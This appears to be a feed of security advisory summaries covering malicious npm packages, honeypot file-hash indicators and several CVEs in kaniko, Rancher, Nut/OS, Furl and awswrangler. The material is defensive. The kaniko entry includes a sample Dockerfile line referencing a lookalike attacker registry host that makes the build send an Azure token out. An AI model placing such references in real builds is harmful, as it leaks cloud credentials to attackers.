The @levvicode/baileys npm package versions 0.0.2 and 0.0.3 contain malicious code that silently subscribes the victim's WhatsApp account to attacker-controlled channels without user consent. This is done by injecting a covert FOLLOW query into the WhatsApp socket connection using the installer's authenticated session. The target channels are obfuscated or dynamically fetched, allowing attackers to change targets post-installation. The malicious code does not steal credentials, maintain persistence, or execute arbitrary remote code.
The levvleys npm package, part of a large family of Baileys WhatsApp Web library forks, contains malicious code that silently subscribes the victim's WhatsApp account to attacker-controlled channels using the victim's authenticated session. This covert subscription occurs via an injected FOLLOW query after connecting to WhatsApp, with target channels obfuscated or dynamically fetched. The malicious code does not exfiltrate credentials, establish persistence, or execute arbitrary remote code.
A malicious file identified by the SHA-256 hash 5cb46c2be1604c22a410de06f851cf0e2e80c7eef3583f92a1080fbab1c224dc was observed by OffSeq Mirage honeypot sensors on 2026-11-02. The file was seen 12 times in attacker activity involving the T1105 technique (Ingress Tool Transfer) originating from attacker infrastructure in France. This hash corresponds to a specific malicious payload such as a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to check their environments and security tools for this hash to detect potential compromise.
A malicious file identified by the SHA-256 hash 5349666da6dc9f096b7192658b07d80ddf5a77fecd8f8075f1595c23038a7adb was observed by OffSeq Mirage honeypot sensors on 2026-11-02. The file is associated with attacker activity involving the T1105 technique (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in France. This indicator can be used to detect the presence of this malicious payload in environments by matching the hash against files in endpoint detection and response (EDR), antivirus (AV), and threat intelligence feeds.
CVE-2026-120596 is a denial-of-service vulnerability in the Nut/Net TCP/IP stack used in Nut/OS by Ethernut/Egnite. The flaw allows an unauthenticated attacker to send a specially crafted TCP segment with an unknown TCP option length of zero, causing an infinite loop in the TCP options parser. This infinite loop blocks the TCP processing thread, making all TCP services on the device unresponsive until reboot. The vulnerability affects Nut/OS versions up to 5.1.
Furl versions through 3.15 for Perl allow memory exhaustion via unbounded decompression of HTTP responses.
Furl inflates a response body sent with a gzip, x-gzip or deflate Content-Encoding and appends the output to the response string with no size limit. It does this whether or not the request asked for compression, and no option caps the decompressed size. Responses read with write_file or write_code are streamed rather than held in memory.
A malicious server, or an attacker on a plain HTTP connection, can send a small compressed response that expands to exhaust the client's memory and end the process.
The tailwind-animate-engine npm package contains malicious code that compromises any computer on which it is installed or running. The compromise is severe enough that all secrets and keys stored on the affected system should be rotated immediately from a separate, uncompromised machine. Removal of the package alone does not guarantee elimination of all malicious software or control established by the attacker.
The tailwind-animatrix npm package contains malicious code that compromises any computer on which it is installed or running. The compromise is severe enough that all secrets and keys stored on the affected system should be rotated immediately from a separate, secure machine. Removing the package alone may not fully eliminate the malicious presence due to potential persistent control by an attacker.
The npm package 'tailwind-animate-final' contains malicious code that compromises any computer on which it is installed or running. The compromise is severe enough that all secrets and keys stored on the affected system should be rotated immediately from a different, uncompromised device. Removing the package alone does not guarantee removal of all malicious software introduced by the package.
The unjailed npm package contains malicious code that compromises any computer on which it is installed or running. The compromise is severe enough that all secrets and keys stored on the affected system should be rotated immediately from a different, trusted machine. Removing the package alone does not guarantee full remediation, as the attacker may have established persistent control over the system.
The npm package 'tailwind-animate-test' contains malicious code that compromises any computer on which it is installed or running. This compromise is severe enough that all secrets and keys stored on the affected system should be rotated immediately from a different, secure computer. Removal of the package alone does not guarantee elimination of all malicious software introduced by its installation.
The npm package @mrlegendbot/libsignal-node contains malicious code that compromises any computer on which it is installed or running. The compromise is severe enough to consider the system fully controlled by an attacker, necessitating immediate rotation of all secrets and keys from a different, trusted machine. Simply removing the package does not guarantee removal of all malicious components.
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Missing filtering in the SUSE Rancher Manager meta proxy could cause passed in rancher credentials to be leaked to cloud providers. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11,
A malicious file identified by the SHA-256 hash a6238b62f373d3ddbad8a034aa94debb0f4b6b9642da6f3120a99565e97ece1d was observed twice in attacker activity on 2026-11-02. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in France. This hash fingerprints a specific malicious payload such as a dropper, web shell, miner, or post-exploitation tool used during the attack. Organizations are advised to check their environments and security tools for this hash to detect potential compromise.
A malicious file identified by the SHA-256 hash ba1f9d2e31f7d4aa9b56d39c6e2d5090fff1645b31b8a26dc5e50da22aa244bf was observed twice on November 2, 2026, by OffSeq Mirage honeypot sensors. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). The payload could be a dropper, web shell, miner, or post-exploitation tool delivered or staged during the attack. The attacker infrastructure was located in France. This indicator can be used to detect the presence of this malicious file in environments through matching with endpoint detection and response (EDR), antivirus (AV), or threat intelligence feeds.
Improper neutralization of quoting syntax in SQL identifier construction in the Apache Iceberg write component in AWS SDK for pandas (also published as awswrangler) 3.5.2 through 3.17.0 might allow an authenticated remote user with permission to modify AWS Glue Data Catalog metadata to read any table that a separate, more privileged principal can access and write to the table that principal is updating via a crafted column name.
To remediate this issue, users should upgrade to version 3.17.1 or later.
A malicious file identified by the SHA-256 hash 2807c004092b2c84f1d3e9cefc5277d54a42fadce97788e02e8098fd7ff8ba86 was observed by OffSeq Mirage honeypot sensors during attacker activity on 2026-11-02. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in France. This hash corresponds to a specific malicious payload such as a dropper, web shell, miner, or post-exploitation tool that was staged or delivered during the attack. Organizations are advised to match this hash against files in their environments and threat intelligence feeds.
A privilege escalation issue was discovered in Rancher Manager's role-based access control. The inheritedNamespacedRules field of a GlobalRole propagates permissions into named namespaces of every downstream cluster managed by the Rancher instance, but it was not subject to the privilege-escalation validation applied to the other permission-carrying fields of a GlobalRole. As a result, a non-administrative user could be granted, through a global role binding, permissions in downstream clusters that exceed the permissions that user already holds. This affected SUSE Rancher 2.15.2 only, and SUSE Rancher Webhook 0.11.0 up to 0.11.4, and 0.12.0 up to 0.12.1.